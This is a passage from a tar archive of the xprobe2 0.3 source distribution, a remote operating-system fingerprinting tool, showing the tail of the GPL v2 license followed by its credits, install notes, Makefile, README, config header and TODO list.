of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. xprobe2-0.3/CREDITS000644 001751 000000 00000001362 10271643771 014215 0ustar00mederwheel000000 000000 Xprobe2 development team would like to thank the following people for their time and efforts: [x] Ilya Levin * design assistance, misc help/consulting (I know, my C++ sucks! ;-)) [x] Sebastian Krahmer * USI++, C++ discussions. [x] Swift Griggs * design discussions, hints for featurism (thanks heaps, mate). [x] Xundi from xfocus.org * Xprobe article chinese translation. [x] Jamie Van Randwyk * bug reports, suggestions for fixes. [x] Patrick Lang * OsX porting patches. [x] Richard Atterer * maintenance of Xprobe2 Debian package, bug reports (libtool). [x] Kurt Congdon * bug reports(XML output, leaked sockets), patches. [x] Alf B Lervaag * bug reports(Suse pcap handle nonblockingness, possible timeout problems with Pcap::sniffpack()) xprobe2-0.3/INSTALL000755 001751 000000 00000000417 10271643771 014231 0ustar00mederwheel000000 000000 $Id: INSTALL,v 1.1 2002/08/08 11:16:01 fygrave Exp $ * run ./configure * run make * run make install if any troubles, please consult the manual and contents of the docs directory. If you think something is broken, drop us a line at: xprobe-devel@lists.sourceforge.net xprobe2-0.3/Makefile.in000755 001751 000000 00000004764 10271643771 015256 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.4 2003/04/22 19:59:54 fygrave Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # Ofir Arkin # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. FILES=AUTHORS Makefile.in README acconfig.h cfg-scripts configure \ configure.in docs SOURCES=@SOURCES@ HEADERS=@HEADERS@ SRCFILES= Makefile.in config.h.in defines.h.in @SOURCES@ @HEADERS@ \ xptests INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ sysconfdir=@sysconfdir@ CFGDIR=@CFGDIR@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ TARDIR=$(PACKAGE)-$(VERSION) TARFILE=$(TARDIR).tar TGZFILE=$(TARFILE).gz SIGFILE=$(TGZFILE).asc SIG=md5sum -b all: cd libs-external/USI++/src; ${MAKE} cd src; ${MAKE} clean: cd libs-external/USI++/src; ${MAKE} clean cd src; ${MAKE} clean distclean: clean rm -f config.cache config.log config.status Makefile cd libs-external/USI++/src; ${MAKE} distclean cd src; ${MAKE} distclean install: src/xprobe2 $(INSTALL_PROGRAM) -d $(DESTDIR)/$(bindir) $(INSTALL_PROGRAM) -d $(DESTDIR)/$(mandir)/man1 $(INSTALL_PROGRAM) -d $(DESTDIR)/$(sysconfdir)/xprobe2 $(INSTALL_PROGRAM) -m 0755 src/xprobe2 $(DESTDIR)/$(bindir) $(INSTALL_PROGRAM) -m 0444 etc/xprobe2.conf $(DESTDIR)/$(sysconfdir)/xprobe2 $(INSTALL_DATA) docs/xprobe2.1 $(DESTDIR)/$(mandir)/man1 configure: configure.in autoheader autoconf tarball: configure mkdir ../$(TARDIR) mkdir ../$(TARDIR)/src cp -R $(FILES) ../$(TARDIR)/ cd src;cp -R $(SRCFILES) ../../$(TARDIR)/src cd ../; tar cfz $(TGZFILE) $(TARDIR)/ cd ../;$(SIG) $(TGZFILE) > $(SIGFILE) rm -rf ../$(TARDIR) arc: configure distclean rm -rf ../$(TARDIR) cp -R ../$(PACKAGE) ../$(TARDIR) cd ..; tar cvfz $(TGZFILE) $(TARDIR) cd ../;$(SIG) $(TGZFILE) > $(SIGFILE) rm -rf ../$(TARDIR) xprobe2-0.3/README000644 001751 000000 00000006315 10271643771 014060 0ustar00mederwheel000000 000000 $Id: README,v 1.5 2004/12/16 10:13:26 mamezo Exp $ -- Xprobe2 is a remote active operating system fingerprinting tool. Xprobe2 uses advanced technics, such as the usage of fuzzy logic to match fingerprinting results with the tool's signature database, unique fingerprinting methods and other, to provide with accurate results. Xprobe2 has evolved from the original Xprobe tool, but it has been completely rewritten from scratch in C++. License ------- Xprobe2 is distributed under GNU license. See COPYING for more details. The fingerprinting database is is available for free use by open source software under the terms of the GNU General Public License. For commercial usage please contact: ofir@sys-security.com Requirements ------------ - A C++ compiler. (gcc will do) - libusi++ (included with the distribution) - lipcap (use version 0.6.x or later) If libpcap is not installed in standard path, use --with-libpcap-libraries=/path/ and --with-libcap-includes=/path options. Supported platforms ------------------- The tool has been succesefully compiled and tested under the following platforms: FreeBSD 4.x, 5.x Linux 2.0.x, 2.2.x, 2.4.x Solaris 2.x OpenBSD 2.x, 3.x NetBSD 1.4.x, 1.5.x, 1.6.x IRIX (with SGI freeware libpcap, http://freeware.sgi.com/, naitive SGI compiler). Platforms which we are able to fingerprint ------------------------------------------ see etc/xprobe2.conf How to install --------------- tar xvfz xprobe2-{release}.tar.gz cd xprobe-{release} ./configure (or ./configure --with-libpcap-libraries=/usr/local/lib --with-libcap-includes=/usr/local/include) make make install send complains to fygrave@tigerteam.net if the compilation breaks. (use --enable-debug to track/report errors) How to use: ----------- See manual for details or use the -h command line to list available options. Architecture ------------ Xprobe2 consists of 2 major parts: core fingerprinting engine which includes fuzzy signatures matching engine, signatures processing, and is generally intrefacing between the modules, and tests, which are presented as (extrenal) dynamically loadable shared modules. Core module has no idea about the signatures nor how they are being applied to received packets. Please see fuzzy_fingerprinting paper in docs for details. Xprobe2 modules are supposed to provide routines for signature element parsing for each module, module names, initialization routines, module execution routines, module deinitialization signatures and other specific information. Please see docs/modules_howto.txt for details. Docs & Updates -------------- http://www.sys-security.com/html/projects/X.html Other related webpages ---------------------- http://o0o.nu/sec/xprobe/ http://www.sourceforge.net/projects/xprobe/ http://xprobe.sourceforge.net/ Where to mail bugs/questions/ideas/patches/fixes: ------------------------------------------------- Fyodor Yarochkin Ofir Arkin http://o0o.nu The Sys-Security Group http://www.sys-security.com Meder Kydyraliev Flames ------- /dev/null xprobe2-0.3/acconfig.h000755 001751 000000 00000001716 10271643771 015125 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #undef SOLARIS #undef LINUX #undef STATIC_TESTS #undef uint8_t #undef uint16_t #undef uint32_t #undef HAVE_SOCKADDR_SA_LEN xprobe2-0.3/TODO000755 001751 000000 00000000522 10271643772 013666 0ustar00mederwheel000000 000000 TODO list --------- * parallel targets probing (packets sending mechanism should be redesigned) * code cleanup. * signature debugging mode needed * more modules * more signatures If you feel like doing something, make sure you cvs to the recent version, do your changes, and then send us output of cvs diff -u :-)